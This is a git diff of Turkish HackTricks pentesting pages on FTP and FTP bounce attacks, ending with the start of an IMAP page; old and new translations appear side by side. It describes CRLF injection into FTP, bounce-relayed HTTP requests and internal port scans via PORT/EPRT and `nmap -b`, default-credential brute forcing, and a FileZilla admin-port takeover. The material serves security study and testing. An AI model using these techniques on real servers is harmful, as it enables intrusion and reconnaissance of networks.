**Aktif FTP**'de FTP **istemcisi** önce kontrol bağlantısını port N'den FTP Sunucusunun komut portuna - port 21'e başlatır. **İstemci** daha sonra port **N+1**'i dinler ve port N+1'i FTP Sunucusuna gönderir. FTP **Sunucusu** daha sonra veri **bağlantısını**, **kendi portu M'den FTP İstemcisinin port N+1'ine** başlatır. **Aktif FTP**'de FTP **istemcisi** önce kontrol bağlantısını port N'sinden FTP Sunucusunun komut portuna - port 21'e başlatır. **İstemci** daha sonra port **N+1**'i dinler ve port N+1'i FTP Sunucusuna gönderir. FTP **Sunucusu** daha sonra veri **bağlantısını**, **kendi M portundan FTP İstemcisinin N+1 portuna** başlatır.
Ancak, eğer FTP İstemcisinin dışarıdan gelen veri bağlantılarını kontrol eden bir güvenlik duvarı kurulumu varsa, aktif FTP bir sorun olabilir. Ve, bunun için uygun bir çözüm Pasif FTP'dir. Ancak, eğer FTP İstemcisinin dışarıdan gelen veri bağlantılarını kontrol eden bir güvenlik duvarı kurulumu varsa, aktif FTP bir sorun olabilir. Ve, bunun için uygun bir çözüm Pasif FTP'dir.
**Pasif FTP**'de, istemci kontrol bağlantısını port N'den FTP Sunucusunun port 21'ine başlatır. Bundan sonra, istemci bir **passv komutu** verir. Sunucu daha sonra istemciye kendi port numarasından M birini gönderir. Ve **istemci**, veri **bağlantısını** **kendi portu P'den FTP Sunucusunun port M'sine** başlatır. **Pasif FTP**'de, istemci kontrol bağlantısını port N'sinden FTP Sunucusunun 21 portuna başlatır. Bundan sonra, istemci bir **passv komutu** verir. Sunucu daha sonra istemciye kendi bir port numarası M'sini gönderir. Ve **istemci**, veri **bağlantısını** **kendi P portundan FTP Sunucusunun M portuna** başlatır.
Kaynak: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/) Kaynak: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
@ -67,7 +67,7 @@ lftp 10.10.10.208:~> login username Password
```bash ```bash
sudo nmap -sV -p21 -sC -A 10.10.10.10 sudo nmap -sV -p21 -sC -A 10.10.10.10
``` ```
FTP sunucusu hakkında bazı bilgileri elde etmek için `HELP` ve `FEAT` komutlarını kullanabilirsiniz: Kullanabileceğiniz komutlar `HELP` ve `FEAT` FTP sunucusundan bazı bilgileri almak için:
``` ```
HELP HELP
214-The following commands are recognized (* =>'s unimplemented): 214-The following commands are recognized (* =>'s unimplemented):
@ -117,7 +117,7 @@ ftp <IP>
>ascii #Set transmission to ascii instead of binary >ascii #Set transmission to ascii instead of binary
>bye #exit >bye #exit
``` ```
### [Kaba kuvvet saldırısı](../../generic-methodologies-and-resources/brute-force.md#ftp) ### [Kaba kuvvet](../../generic-methodologies-and-resources/brute-force.md#ftp)
İşte varsayılan ftp kimlik bilgileriyle güzel bir liste bulabilirsiniz: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt) İşte varsayılan ftp kimlik bilgileriyle güzel bir liste bulabilirsiniz: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
@ -129,11 +129,11 @@ nmap --script ftp-* -p 21 <ip>
``` ```
## Tarayıcı bağlantısı ## Tarayıcı bağlantısı
Bir FTP sunucusuna tarayıcı (örneğin Firefox) kullanarak şu URL'yi kullanarak bağlanabilirsiniz: Bir FTP sunucusuna bir tarayıcı (örneğin Firefox) kullanarak şu şekilde bir URL ile bağlanabilirsiniz:
```bash ```bash
ftp://anonymous:anonymous@10.10.10.98 ftp://anonymous:anonymous@10.10.10.98
``` ```
Eğer bir **web uygulaması**, bir kullanıcı tarafından kontrol edilen verileri **doğrudan bir FTP sunucusuna** gönderiyorsa, çift URL kodu `%0d%0a` (çift URL kodunda bu `%250d%250a` olur) baytlarını gönderebilir ve **FTP sunucusunun keyfi eylemler gerçekleştirmesini sağlayabilirsiniz**. Bu olası keyfi eylemlerden biri, kullanıcı tarafından kontrol edilen bir sunucudan içerik indirmek, port taraması yapmak veya diğer düz metin tabanlı hizmetlerle iletişim kurmaya çalışmaktır (örneğin http). Eğer bir **web uygulaması**, bir kullanıcı tarafından kontrol edilen verileri **doğrudan bir FTP sunucusuna** gönderiyorsa, çift URL kodu `%0d%0a` (çift URL kodunda `%250d%250a`) baytlarını gönderebilir ve **FTP sunucusunun keyfi eylemler gerçekleştirmesini** sağlayabilirsiniz. Bu olası keyfi eylemlerden biri, kullanıcı tarafından kontrol edilen bir sunucudan içerik indirmek, port taraması yapmak veya diğer düz metin tabanlı hizmetlerle iletişim kurmaya çalışmaktır (örneğin http).
## FTP'den tüm dosyaları indir ## FTP'den tüm dosyaları indir
```bash ```bash
@ -149,16 +149,16 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
* **`USER kullanıcı_adı`** * **`USER kullanıcı_adı`**
* **`PASS şifre`** * **`PASS şifre`**
* **`HELP`** Sunucu desteklediği komutları gösterir * **`HELP`** Sunucu desteklediği komutları gösterir
* \*\*`PORT 127,0,0,1,0,80`\*\*Bu, FTP sunucusuna 127.0.0.1 IP'si ve 80 numaralı bağlantıyı kurması için işaret eder (_5. karakteri "0" ve 6. karakteri portu ondalık olarak belirtmelisiniz veya 5. ve 6. karakterleri kullanarak portu onaltılık olarak ifade edebilirsiniz_). * \*\*`PORT 127,0,0,1,0,80`\*\*Bu, FTP sunucusuna 127.0.0.1 IP'sine 80 numaralı porta bağlantı kurmasını söyler (_5. karakteri "0" ve 6. karakteri portu ondalık olarak belirtmelisiniz veya 5. ve 6. karakterleri kullanarak portu onaltılık olarak ifade edebilirsiniz_).
* \*\*`EPRT |2|127.0.0.1|80|`\*\*Bu, FTP sunucusuna 127.0.0.1 IP'si ve 80 numaralı bağlantıyı kurması için işaret eder. Bu komut **IPv6 destekler**. * \*\*`EPRT |2|127.0.0.1|80|`\*\*Bu, FTP sunucusuna 127.0.0.1 IP'sine 80 numaralı porta TCP bağlantısı kurmasını söyler (_"2" ile belirtilir_). Bu komut **IPv6'ı destekler**.
* **`LIST`** Bu, mevcut klasördeki dosyaların listesini gönderir * **`LIST`** Bu, mevcut klasördeki dosyaların listesini gönderir
* **`LIST -R`** Yinelemeli olarak listeler (sunucu izin veriyorsa) * **`LIST -R`** Yinelemeli olarak listeler (sunucu izin veriyorsa)
* **`APPE /yol/birşey.txt`** Bu, FTP'nin **pasif** bir bağlantıdan veya **PORT/EPRT** bağlantısından gelen verileri bir dosyaya kaydetmesini sağlar. Dosya adı varsa, verileri ekler. * **`APPE /yol/birşey.txt`** Bu, FTP'ye **pasif** bir bağlantıdan veya bir **PORT/EPRT** bağlantısından gelen verileri bir dosyaya kaydetmesini söyler. Dosya adı varsa, verileri ekler.
* **`STOR /yol/birşey.txt`** `APPE` gibi ancak dosyaları üzerine yazar * **`STOR /yol/birşey.txt`** `APPE` gibi ancak dosyaları üzerine yazar
* **`STOU /yol/birşey.txt`** `APPE` gibi, ancak varsa hiçbir şey yapmaz. * **`STOU /yol/birşey.txt`** `APPE` gibi, ancak varsa hiçbir şey yapmaz.
* **`RETR /dosya/yoluna`** Bir pasif veya port bağlantısı kurulmalıdır. Daha sonra, FTP sunucusu belirtilen dosyayı bu bağlantı aracılığıyla gönderecektir * **`RETR /dosya/yol`** Bir pasif veya port bağlantısı kurulmalıdır. Daha sonra, FTP sunucusu belirtilen dosyayı o bağlantı üzerinden gönderecektir
* **`REST 6`** Bu, sunucuya bir sonraki sefer `RETR` kullanarak bir şey gönderdiğinde 6. bayttan başlaması gerektiğini belirtir. * **`REST 6`** Bu, sunucuya bir sonraki sefer `RETR` kullanarak bir şey gönderdiğinde 6. bayttan başlaması gerektiğini söyler.
* **`TYPE i`** Aktarımı ikili olarak ayarlar * **`TYPE i`** Transferi ikili olarak ayarlar
* **`PASV`** Bu, pasif bir bağlantı açacak ve kullanıcıya nereye bağlanabileceğini gösterecektir * **`PASV`** Bu, pasif bir bağlantı açacak ve kullanıcıya nereye bağlanabileceğini gösterecektir
* **`PUT /tmp/dosya.txt`** Belirtilen dosyayı FTP'ye yükler * **`PUT /tmp/dosya.txt`** Belirtilen dosyayı FTP'ye yükler
@ -166,34 +166,34 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
## FTPBounce saldırısı ## FTPBounce saldırısı
Bazı FTP sunucuları `PORT` komutuna izin verir. Bu komut, sunucuya başka bir FTP sunucusuna belirli bir bağlantı noktasında bağlanmak istediğinizi belirtmek için kullanılabilir. Daha sonra, bu, bir FTP sunucusu aracılığıyla bir ana bilgisayarın hangi bağlantı noktalarının açık olduğunu taramak için kullanılabilir. Bazı FTP sunucuları `PORT` komutuna izin verir. Bu komut, sunucuya başka bir FTP sunucusuna belirli bir porta bağlanmak istediğinizi belirtmek için kullanılabilir. Sonra, bu bilgiyi kullanarak bir FTP sunucusu aracılığıyla bir ana bilgisayarın hangi portlarının açık olduğunu taramak için kullanabilirsiniz.
[**Buradan bir FTP sunucusunu bağlantı noktalarını taramak için nasıl kötüye kullanabileceğinizi öğrenin.**](ftp-bounce-attack.md) [**Buradan bir FTP sunucusunu port taraması yapmak için nasıl kötüye kullanabileceğinizi öğrenin.**](ftp-bounce-attack.md)
Bu davranışı aynı zamanda bir FTP sunucusunun diğer protokollerle etkileşimde bulunmasını sağlamak için de kötüye kullanabilirsiniz. Bir HTTP isteği içeren bir dosya yükleyebilir ve zayıf FTP sunucusunun bunu bir başka HTTP sunucusuna göndermesini sağlayabilirsiniz (_belki yeni bir yönetici kullanıcı eklemek için?_) veya bir FTP isteği yükleyebilir ve zayıf FTP sunucusunun farklı bir FTP sunucusundan bir dosya indirmesini sağlayabilirsiniz.\ Bu davranışı kötüye kullanarak bir FTP sunucusunu başka protokollerle etkileşime girmesi için kullanabilirsiniz. Bir HTTP isteği içeren bir dosya yükleyebilir ve zayıf FTP sunucusunun bunu bir başka HTTP sunucusuna göndermesini sağlayabilirsiniz (_belki yeni bir yönetici kullanıcı eklemek için?_) veya bir FTP isteği yükleyebilir ve zayıf FTP sunucusunun farklı bir FTP sunucusundan bir dosya indirmesini sağlayabilirsiniz.\
Teori basittir: Teori basittir:
1. **İsteği (bir metin dosyası içinde) zayıf sunucuya yükleyin.** Başka bir HTTP veya FTP sunucusuyla iletişim kurmak istiyorsanız, satırları `0x0d 0x0a` ile değiştirmeniz gerekir 1. **İsteği (bir metin dosyası içinde) zayıf sunucuya yükleyin.** Başka bir HTTP veya FTP sunucusuyla iletişim kurmak istiyorsanız, satırları `0x0d 0x0a` ile değiştirmeniz gerekir
2. **Göndermek istemediğiniz karakterleri göndermemek için `REST X` kullanın** (belki dosyanın içine isteği yüklemek için başlangıçta bazı görüntü başlığı eklemeniz gerekiyordur) 2. **Göndermek istemediğiniz karakterleri göndermemek için `REST X` kullanın** (belki dosyanın içine isteği yüklemek için başlangıçta bazı görüntü başlığı eklemeniz gerekiyordur)
3. **Arbitrary sunucuya ve servise bağlanmak için `PORT` kullanın** 3. **Arbitrary sunucu ve servise bağlanmak için `PORT` kullanın**
4. **Kaydedilen isteği sunucuya göndermek için `RETR` kullanın.** 4. **Kaydedilen isteği sunucuya göndermek için `RETR` kullanın.**
Bu, **muhtemelen** _**Yazılabilir soket değil**_ gibi bir hata verecektir **çünkü bağlantı, verileri `RETR` ile göndermek için yeterince uzun sürmez**. Bunun önüne geçmek için denemeniz gereken öneriler şunlardır: Bu **muhtemelen** _**Yazılabilir soket değil**_ gibi bir hata verecektir **çünkü bağlantı, verileri `RETR` ile göndermek için yeterince uzun sürmez**. Bunun önüne geçmek için denemeniz gereken öneriler:
* Bir HTTP isteği gönderiyorsanız, **en azından ~0.5MB'a kadar aynı isteği tekrarlayın**. Şöyle: * Bir HTTP isteği gönderiyorsanız, **en azından \~0.5MB'ye kadar aynı isteği tekrarlayın**. Şöyle:
{% file src="../../.gitbook/assets/posts (1).txt" %} {% file src="../../.gitbook/assets/posts (1).txt" %}
posts.txt posts.txt
{% endfile %} {% endfile %}
* İsteği, protokole göre "gereksiz" verilerle doldurmaya çalışın (FTP ile iletişim kurarken belki sadece gereksiz komutlar veya dosyayı almak için `RETR` komutunu tekrarlayın) * İsteği **protokole göre "gereksiz" verilerle doldurmaya çalışın** (FTP ile iletişim kurarken belki sadece gereksiz komutlar veya dosyayı almak için `RETR` komutunu tekrarlayın)
* İsteği, çok sayıda null karakter veya diğer karakterlerle doldurun (satırlara veya satırlara bölünmüş olsun) * İsteği **çok sayıda null karakter veya başka karakterlerle doldurun** (satırlara veya satırlara bölünmüş olsun)
Neyse, burada bir [FTP sunucusunun farklı bir FTP sunucusundan bir dosya indirmesini sağlamak için bunu nasıl kötüye kullanacağınıza dair eski bir örnek](ftp-bounce-download-2oftp-file.md) bulunmaktadır. Neyse, burada bir [FTP sunucusunun farklı bir FTP sunucusundan bir dosya indirmesini sağlamak için bunu nasıl kötüye kullanacağınıza dair eski bir örnek](ftp-bounce-download-2oftp-file.md) bulunmaktadır.
## Filezilla Sunucu Güvenlik Açığı ## Filezilla Sunucu Güvenlik Açığı
**FileZilla** genellikle **yerel** bir **Yönetimsel hizmet** için **FileZilla-Sunucusuna** (port 14147) **bağlanır**. Bu bağlantı noktasına erişmek için **kendi makinenizden** bir **tünel** oluşturabilirseniz, **boş bir şifre** kullanarak **buna bağlanabilir** ve FTP hizmeti için **yeni bir kullanıcı oluşturabilirsiniz**. **FileZilla** genellikle **yerel** bir **Yönetimsel hizmet** için **FileZilla-Sunucusuna** (port 14147) **bağlanır**. Bu porta erişmek için **kendi makinenizden bir tünel oluşturabilirseniz**, FTP hizmeti için **boş bir şifre** kullanarak **bağlanabilir** ve **FTP hizmeti için yeni bir kullanıcı oluşturabilirsiniz**.
## Yapılandırma dosyaları ## Yapılandırma dosyaları
``` ```
@ -206,26 +206,26 @@ vsftpd.conf
vsFTPd'nin varsayılan yapılandırması `/etc/vsftpd.conf` dosyasında bulunabilir. Burada bazı tehlikeli ayarlar bulabilirsiniz: vsFTPd'nin varsayılan yapılandırması `/etc/vsftpd.conf` dosyasında bulunabilir. Burada bazı tehlikeli ayarlar bulabilirsiniz:
* `anonymous_enable=YES` - `anonymous_enable=YES`
* `anon_upload_enable=YES` - `anon_upload_enable=YES`
* `anon_mkdir_write_enable=YES` - `anon_mkdir_write_enable=YES`
* `anon_root=/home/username/ftp` - Anonim için dizin. - `anon_root=/home/username/ftp` - Anonim için dizin.
* `chown_uploads=YES` - Anonim olarak yüklenen dosyaların sahipliğini değiştirme - `chown_uploads=YES` - Anonim olarak yüklenen dosyaların sahipliğini değiştir
* `chown_username=username` - Anonim olarak yüklenen dosyaların sahipliğini alan kullanıcı - `chown_username=username` - Anonim olarak yüklenen dosyaların sahipliğini alan kullanıcı
* `local_enable=YES` - Yerel kullanıcıların giriş yapmasına izin ver - `local_enable=YES` - Yerel kullanıcıların giriş yapmasına izin ver
* `no_anon_password=YES` - Anonimden şifre isteme - `no_anon_password=YES` - Anonimden şifre isteme
* `write_enable=YES` - Komutlara izin ver: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE ve SITE - `write_enable=YES` - Komutlara izin ver: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE ve SITE
### Shodan ### Shodan
* `ftp` - `ftp`
* `port:21` - `port:21`
*** ***
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -288,9 +288,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP};
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) ya da [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**. * **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) ya da [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). * **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın**.
</details> </details>

View file

@ -1,20 +1,20 @@
<details> <details>
<summary><strong>Sıfırdan kahramana AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**. * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
</details> </details>
**Try Hard Güvenlik Grubu** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -22,14 +22,14 @@ HackTricks'ı desteklemenin diğer yolları:
# FTP Bounce - Tarama # FTP Bounce - Tarama
## El ile ## Manuel
1. Hassas FTP'ye bağlanın 1. Zafiyetli FTP'ye bağlanın
2. Taramak istediğiniz _\<IP:Port>_ ile bağlantı kurmasını sağlamak için **`PORT`** veya **`EPRT`** (ancak yalnızca birini) kullanın: 2. Taramak istediğiniz _\<IP:Port>_ ile bağlantı kurmasını sağlamak için **`PORT`** veya **`EPRT`** (ancak yalnızca birini) kullanın:
`PORT 172,32,80,80,0,8080`\ `PORT 172,32,80,80,0,8080`\
`EPRT |2|172.32.80.80|8080|` `EPRT |2|172.32.80.80|8080|`
3. **`LIST`** kullanın (bu sadece FTP klasöründeki mevcut dosyaların listesini bağlı _\<IP:Port>'a gönderir) ve olası yanıtları kontrol edin: `150 Dosya durumu iyi` (Bu, portun açık olduğu anlamına gelir) veya `425 Bağlantı kurulamadı` (Bu, portun kapalı olduğu anlamına gelir) 3. **`LIST`** kullanın (bu sadece FTP klasöründeki mevcut dosyaların listesini bağlı _\<IP:Port>_ 'a gönderir) ve olası yanıtları kontrol edin: `150 Dosya durumu iyi` (Bu, portun açık olduğu anlamına gelir) veya `425 Bağlantı kurulamadı` (Bu, portun kapalı olduğu anlamına gelir)
4. `LIST` yerine **`RETR /ftp'deki/dosya`** kullanabilir ve benzer `Açık/Kapalı` yanıtları arayabilirsiniz. 4. `LIST` yerine **`RETR /ftp'deki/dosya`** kullanabilir ve benzer `Açık/Kapalı` yanıtları arayabilirsiniz.
**PORT** kullanarak örnek (172.32.80.80'in 8080 numaralı bağlantı noktasıık ve 7777 kapalı): **PORT** kullanarak örnek (172.32.80.80'in 8080 numaralı bağlantı noktasıık ve 7777 kapalı):
@ -52,21 +52,21 @@ nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the interna
``` ```
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>Sıfırdan Kahramana AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan Kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * Şirketinizi **HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı göndererek PR'larınızı** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına ekleyin.
</details> </details>

View file

@ -6,7 +6,7 @@
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
@ -16,7 +16,7 @@ HackTricks'ı desteklemenin diğer yolları:
**Try Hard Güvenlik Grubu** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,12 +24,12 @@ HackTricks'ı desteklemenin diğer yolları:
## İnternet Mesaj Erişim Protokolü ## İnternet Mesaj Erişim Protokolü
**İnternet Mesaj Erişim Protokolü (IMAP)**, kullanıcıların **herhangi bir konumdan e-posta mesajlarına erişmelerini sağlamak amacıyla tasarlanmıştır**, genellikle bir İnternet bağlantısı aracılığıyla. Temelde, e-postalar **bir sunucuda saklanır** ve bireyin kişisel cihazına indirilip depolanmaz. Bu, bir e-posta erişildiğinde veya okunduğunda, bunun **doğrudan sunucudan** yapıldığı anlamına gelir. Bu yetenek, **çeşitli cihazlardan** e-postaları kontrol etme kolaylığını sağlar, kullanılan cihazdan bağımsız olarak hiçbir mesajın kaçırılmadığından emin olur. **İnternet Mesaj Erişim Protokolü (IMAP)**, kullanıcıların **herhangi bir konumdan e-posta mesajlarına erişmelerini sağlamak amacıyla tasarlanmıştır**, genellikle bir İnternet bağlantısı aracılığıyla. Temelde, e-postalar **bir sunucuda saklanır** ve bireyin kişisel cihazına indirilip depolanmaz. Bu, bir e-posta erişildiğinde veya okunduğunda, bunun **doğrudan sunucudan** yapıldığı anlamına gelir. Bu yetenek, e-postaları **çoklu cihazlardan** kontrol etme kolaylığını sağlar, kullanılan cihazdan bağımsız olarak hiçbir mesajın kaçırılmadığından emin olur.
IMAP protokolü varsayılan olarak iki bağlantı noktasında çalışır: IMAP protokolü varsayılan olarak iki bağlantı noktasında çalışır:
* **Port 143** - bu, varsayılan IMAP şifrelenmemiş bağlantı noktasıdır * **Port 143** - bu, varsayılan IMAP şifrelenmemiş bağlantı noktasıdır
* **Port 993** - bu, IMAP'ı güvenli bir şekilde kullanmak istiyorsanız kullanmanız gereken bağlantı noktasıdır * **Port 993** - bu, IMAP ile güvenli bir şekilde bağlanmak istiyorsanız kullanmanız gereken bağlantı noktasıdır
``` ```
PORT STATE SERVICE REASON PORT STATE SERVICE REASON
143/tcp open imap syn-ack 143/tcp open imap syn-ack
